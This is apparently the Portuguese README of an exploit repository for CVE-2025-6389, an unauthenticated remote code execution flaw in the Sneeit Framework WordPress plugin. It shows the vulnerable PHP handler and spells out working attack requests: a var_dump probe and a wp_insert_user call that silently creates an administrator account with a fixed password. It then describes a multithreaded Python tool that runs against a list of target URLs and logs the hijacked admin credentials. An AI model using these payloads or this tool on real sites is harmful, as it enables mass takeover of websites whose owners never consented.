CVE-2025-6389

Sneeit Framework <= 8.3 - Execução Remota de Código Não Autenticada em sneeit_articles_pagination_callback

    _______      ________    ___   ___ ___  _____         __ ____   ___   ___  
  / ____\ \    / /  ____|  |__ \ / _ \__ \| ____|       / /|___ \ / _ \ / _ \ 
 | |     \ \  / /| |__ ______ ) | | | | ) | |__ ______ / /_  __) | (_) | (_) |
 | |      \ \/ / |  __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
 | |____   \  /  | |____    / /_| |_| / /_ ___) |     | (_) |__) | (_) |  / / 
  \_____|   \/   |______|  |____|\___|/____/____/       \___/____/ \___/  /_/  

🧠 Visão Geral

CVE-2025-6389 é uma vulnerabilidade de Execução Remota de Código com CVSS 9.8 Crítico encontrada no plugin Sneeit Framework para WordPress.

A falha existe na função sneeit_articles_pagination_callback(), que passa cegamente entrada fornecida pelo usuário para call_user_func() do PHP — um atacante não autenticado pode chamar qualquer função PHP com argumentos arbitrários, incluindo wp_insert_user, concedendo efetivamente a si mesmo acesso total de administrador ou executando qualquer código no servidor.

💀 Mergulho Profundo na Vulnerabilidade

A causa raiz é o uso indevido de call_user_func() do PHP no manipulador AJAX do plugin:

// Registered without authentication check
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');

function sneeit_articles_pagination_callback() {
    $callback = $_POST['callback'];  // ← User-controlled function name
    $args     = json_decode(stripslashes($_POST['args']), true); // ← User-controlled args

    // Calling ANY PHP function with ANY arguments — zero validation
    $result = call_user_func($callback, ...$args);

    echo $result;
    die();
}

Por que isso é crítico:

• wp_ajax_nopriv_* = acessível por qualquer um, sem necessidade de login
• call_user_func($callback, $args) = invocação de função arbitrária
• O atacante pode chamar var_dump, system, wp_insert_user, eval ou qualquer função PHP/WordPress
• A resposta é retornada diretamente — permitindo RCE cega e detalhada

⚔️ Cadeia de Exploração

Passo 1 — Sondagem / Identificação
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = var_dump
  args     = ["test"]

Resposta Esperada → array(1) { [0]=> string(4) "test" }
  ↓
Confirma: call_user_func() está acessível e refletindo a saída

──────────────────────────────────────────────────────────────────
Passo 2 — Criação de Conta de Administrador
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = wp_insert_user
  args     = {"user_login":"Nxploited_XXXX",
               "user_pass":"xplpass",
               "user_email":"...",
               "role":"administrator"}

Resultado → Nova conta de administrador criada silenciosamente no alvo
  ↓
Acesso total ao painel de administração do WordPress alcançado ✔️

⚙️ Requisitos

pip install requests rich

Python 3.8+ necessário. Dicas de tipo usam sintaxe tuple[...] introduzida em 3.9+ — use 3.9+ para melhor compatibilidade.

📂 Estrutura de Arquivos

CVE-2025-6389/
├── CVE-2025-6389.py          # Script de exploração principal
├── list.txt                  # URLs alvo — uma por linha
├── success_results.txt       # Gerado automaticamente: alvos bem-sucedidos + credenciais
└── debug_responses/          # Gerado automaticamente: respostas brutas do servidor para depuração
    └── <target>.resp.txt

🚀 Uso

Passo 1 — Preparar Alvos

Crie list.txt com uma URL por linha:

https://target1.com
https://target2.com
http://target3.com

URLs sem http:// ou https:// são automaticamente prefixadas com http://.

Passo 2 — Executar o Exploit

python CVE-2025-6389.py

Você será solicitado:

Nome do arquivo de alvos (padrão list.txt): list.txt
Número de threads (padrão 10):       20

Passo 3 — Painel ao Vivo

O script inicia um painel Rich em tempo real mostrando:

┌─────────────────────────────────────────────────────────────────────┐
│  [ASCII BANNER]                                                      │
├──────────────────────────────┬──────────────────────────────────────┤
│  Informação                   │  Estatísticas                       │
│  Uso: Coloque alvos em...    │  Total de Alvos:  150               │
│  Threads: 20                 │  Processados:      87               │
│  Senha: xplpass              │  Sucessos:      12                  │
│  Log de Sucesso: success...  │  Falhas:       75                  │
│  Diretório de Depuração: debug_responses  │  Tempo Decorrido:      00:01:43            │
├──────────────────────────────┴──────────────────────────────────────┤
│  Resultados Recentes                                               │
│  Hora     Alvo                              Resultado               │
│  14:23:01 https://victim.com                SUCESSO               │
│  14:23:03 https://example.net               FALHA                  │
└─────────────────────────────────────────────────────────────────────┘

Passo 4 — Revisar Resultados

Exploits bem-sucedidos são salvos em success_results.txt:

https://victim.com | USUÁRIO: Nxploited_4821 | SENHA: xplpass | EMAIL: [email protected]

Respostas de depuração (para alvos com falha) são salvas em debug_responses/: